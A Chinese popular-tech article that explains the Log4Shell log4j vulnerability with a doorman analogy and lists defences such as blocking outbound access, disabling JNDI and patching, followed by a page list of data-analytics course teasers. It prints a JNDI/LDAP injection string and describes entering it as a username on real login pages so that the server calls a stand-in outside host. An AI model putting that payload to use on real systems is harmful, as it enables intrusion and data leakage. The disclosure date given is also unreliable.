作者:李晓飞
来源:Python 技术
2020 年的12月,势必成为各个互联网公司年度最深刻的记忆。
在 12 月初,爆出了一个核弹级的系统漏洞,导致众多互联网公司内部服务器被发现,劫持,甚至植入程序。
尽管目前已经出台了修复补丁,但这个出现在最基础的应用最广泛的模块 log4j 上的漏洞还是让我们心有余悸。
为什么这么就没有被发现,为什么这个漏洞如此严重,这个漏洞到底是怎么回事?……
log4j[1] 是 Java 标准库的模块,主要负责记录各种日志,和 Python 中的 logging[2] 类似。
log4j 功能强大,可以支持各种场景的日志记录需求,比如将日志输出到终端,将日志记录到文件,或者发送到日志服务器等等,可以说但凡需要记录日志的地方,log4j 是最佳选择。
正是由于这一点,log4j 才成为最常用的模块,加上互联网公司的基础设施都是由 java 构建的,所以 log4j 深入到每个公司的角角落落。
log4j 就像一个兢兢业业,任劳任怨的门卫老大爷,一丝不苟的记录着各种来访信息,以便系统排查问题。
为什么这样一个普通的,不起眼的模块会爆出一个惊天漏洞呢?
为了说明这个情况,我借鉴 少数派 PlatyHsu 的比喻[3]做讲解,即使你不会编程,不懂技术也可以理解。
前面我们说 log4j 是一个日志模块,就像一个门卫老大爷,凡是进入里面的人,都需要在门卫处登记一下。
注意这里的登记不是验证,只是简单的记录一下,比如谁,什么时候,什么目的等等,将这些信息记录到日志里。
我们经常看到的 Web 系统的访问日志,就是这个模块负责产生的。
本来一切正常,但是在一些对性能要求很高的系统中,为了不让日志记录占用太多的时间(毕竟,停下来被询问也是需要时间的),日志模块里增加了一个事后处理的功能。
也就是说当访问者很着急时,只要留下一个电话,让门卫之后去询问就好了。
这个设计有诸多好处,类似于异步处理,将记录日志的过程分离出去,异步处理,这样就不会影响主要流程的执行了。
但是,问题也是出在这里的。
一些别有用心的人,就利用预留电话的机制,留下了诈骗电话。
当日志处理模块,事后整理日志时,发现有一行写了打电话询问,于是就拨打了留下的电话,然后电话那头说,恭喜你中奖了,奖品是一部手机,只要提供地址信息就可以免费邮寄过来,等等
这个日志模块在完全不知情的情况下,就泄露了企业内部的信息,这些信息包括收件人,内部电话等等。
你可能会奇怪,为什么需要日志模块拨打电话呢?到底是怎么拨打的电话,这里稍作展开一下。
日志模块不是真的去拨打电话,而是日志记录的机制中允许使用模板。
就像 Python 里的字符串模板一样,在合成字符串时,可以用占位符代替实际内容,根据实际情况做出填充例如:
strTemp = "Hello {name}" print(strTemp.format(name= 'Lily')) # 结果为:Hello Lily
log4j 为了灵活,使用一个叫 JNDI[4](Java Naming and Directory Interface)的目录查询方法,这个方法可以支持 LDAP[5](轻型目录访问协议,Lightweight Directory Access Protocol)协议,对网络上的轻型目标进行查询。
LDAP 的格式为:
ldap://ldap.example.com/cn=John%20Appleseed
意思是向 ldap.example.com 发送一个请求,查询名为 John Appleseed 这个人的信息。
重点来了:
LDAP 协议是可以进行网络访问的
到这里我们就会发现,当处理日志的程序,执行到需要替换日志模板的语句时,恰巧有时需要通过 LDAP 协议获取信息的情况下,就会去访问这个地址。
如果别有用心者,将这个地址作为一个陷阱,或者作为一个木马程序的下载地址,就可以在服务器毫不知情的情况下,在暴漏服务器内部信息,甚至下载木马程序到服务器上。
之前的很多报道已经指出,黑客利用这个漏洞,在服务器上安装了挖矿程序。
对于普通大众来说,系统漏洞离我们很远,即使知道这样的漏洞存在,也不知如何发挥作用,也是因为这个原因,导致很多人对漏洞信息不敏感,以为自己不知道如何使用,别人也就不知道,这样的想法会让自己常常处于危险之中。
log4Shell 漏洞,实施起来简单地让人难以置信,甚至不需要使用什么攻击工具,只需要在平台的登录页面,填写一个特别的用户名即可。
例如在苹果网站上,将用户名写成类似这样的 ${jndi:ldap://ldap.example.com/a} 形式:
苹果
当然 ldap 网站需要自己设置或者使用一个可以提供记录访问者信息的服务,就能看到苹果内部的服务器信息了。
这里还有对 QQ 邮箱的攻击示例:
QQ邮箱
只要在能访问系统的地方,加上特殊的注入语句,就可以实施攻击了,所以对漏洞的攻击,并没有想象中那么复杂,因此在发现漏洞时,要及时打补丁做补救,而不能因为自己不知如何实施而放之不管。
当我们了解了整个过程,对于如何防止就很清晰了,如果这个漏洞没有被及时修复,也可以采取一些措施防止信息泄露。
最容易想到的是防止系统对不了解的外网进行访问。
就像给内部电话限制拨打长途一样,对于超出范围的呼叫做出限制。
第二可以通过参数设置禁止系统的中的 JNDI 通信协议,就是让日志模块中的 JNDI 失效。
还有就是下载补丁,修补漏洞。
漏洞修补很容易,但是造成这个漏洞的根源却难以消除。
我们总是在易用性和安全性之间找到一个平衡点,而增加易用性和功能性的同时,会引入更多的不确定性,特别是当依赖层级加大,大量的间接依赖会使问题的复杂程度超出我们的想象。
log4Shell 因为其巨大的破坏性,一经发现,就被及时处理了,但可能还存在这样那样的依赖导致的问题,继续存在。
因此我们在做系统扩展功能的时候,要特别注意因为依赖而导致的系统问题,很多时候命名觉得无关紧要的边缘的功能,却成了漏洞躲藏的绝佳场所。
没有一个纯净的环境,完美的世界,log4Shell 漏洞让我更清楚地看到这个世界的真实 —— 漏洞无处不在!
我们能做的就是要提供防护意识,像预防新冠病毒一样做好防护,不迷信,不谣传,也不大意和忽视。
可能我们平时写的代码效用有限,如果没有防护和安全意识,就像裸奔一样。
几年前笔者在 github 上发布一段代码示例时,误将实际环境的配置信息上传了上去,过来一周左右,意识到问题时,服务器已经被人注入了挖矿程序!
很难想象一个默默无闻的更新会被人注意且利用了,所以防护意识是我们畅游于网络的护身符。
比心!
很难想象一个默默无闻的更新会被人注意且利用了,所以防护意识是我们畅游于网络的护身符。
数据分析咨询请扫描二维码
数据挖掘是现代企业利用数据驱动决策的重要工具。它涉及从大量数据中提取隐藏的、先前未知但潜在有用的信息,依托人工智能、机器 ...
2024-10-23在当前数据驱动的商业环境中,数据分析师的角色变得越来越重要。想要踏入这一领域并取得成功,不仅需要扎实的技术基础,还需要不 ...
2024-10-23数据分析是一个广泛而又精细的领域,它结合了统计学、计算机科学、商业策略以及数据科学等多个学科的知识。这个领域日新月异的发 ...
2024-10-23在现代企业中,数字化管理师扮演着至关重要的角色。他们不仅帮助企业优化资源配置,还推动企业的数字化转型。要成为一名合格的数 ...
2024-10-23大数据专业是一个跨学科的领域,涵盖了数学、统计学、计算机科学与技术等多个学科。随着数据在各个行业中的重要性日益增加,大数 ...
2024-10-23大数据分析师培训教程-2.1 Hadoop入门-Hadoop 1.0 的局限与 Hadoop 2.0(YARN)的革新 Hadoop简介Hadoop 的生态系统HDFS 的原理 ...
2024-10-232024,您是否渴望在数据领域探索更广阔的职业机遇? 数字化时代,数据量级每年都在呈指数级增长。据统计,全球互联网用户每天产 ...
2024-10-21数据科学专业是一门跨学科的综合性学科,涵盖了数学、统计学、计算机科学等多个领域。其核心目标是通过数据的收集、处理和分析来 ...
2024-10-21Python是一种高级解释性编程语言,由Guido van Rossum于1991年创造。凭借其简单易学、代码可读性强和功能强大的特点,Python已经 ...
2024-10-21在当今数据驱动的世界中,选择学习Hadoop已成为许多数据分析师和IT专业人士的必修课。Hadoop不仅是大数据处理领域的核心技术之一 ...
2024-10-21数据开发工程师在当今数据驱动的世界中扮演着至关重要的角色。他们不仅负责数据的采集和处理,还在数据仓库建设、系统开发和数据 ...
2024-10-20在当今快速变化的数字经济时代,数字化转型已经成为企业实现持续增长和竞争优势的关键。数字化转型不仅仅是技术的变革,更是组织 ...
2024-10-19在当今快速发展的科技时代,数字经济已成为全球经济的重要组成部分。选择数字经济专业,不仅能为你打开通往多个行业的大门,还能 ...
2024-10-18学习统计学与大数据分析具有显著的优势,能够帮助你走向高薪岗位。在数字化时代背景下,统计学和大数据分析展现出强大的就业潜力 ...
2024-10-18在当今的数字时代,数据科学与大数据技术专业的就业方向极为广泛,涵盖了多个领域和岗位。随着数据成为企业决策的重要依据,行业 ...
2024-10-18大数据技术与应用领域正在迅速发展,成为现代经济和科技发展的重要驱动力。随着数据量的爆炸式增长,各行各业对大数据专业人才的 ...
2024-10-18在当今数据驱动的商业环境中,数据分析软件已成为企业决策过程中不可或缺的工具。随着数据量的激增和分析需求的复杂化,选择合适 ...
2024-10-18在当今数据驱动的世界中,数据分析已成为许多行业不可或缺的一部分。无论是企业决策、市场营销,还是产品开发,数据分析都能提 ...
2024-10-18数据分析在现代企业中扮演着至关重要的角色,帮助企业在竞争激烈的市场中做出明智的决策。随着数据量的不断增长,企业需要依赖先 ...
2024-10-18CDA(Certified Data Analyst)认证在数据分析领域具有显著的作用,具体包括以下几个方面: 1. 专业技能认可 CDA认证是数据分析 ...
2024-10-17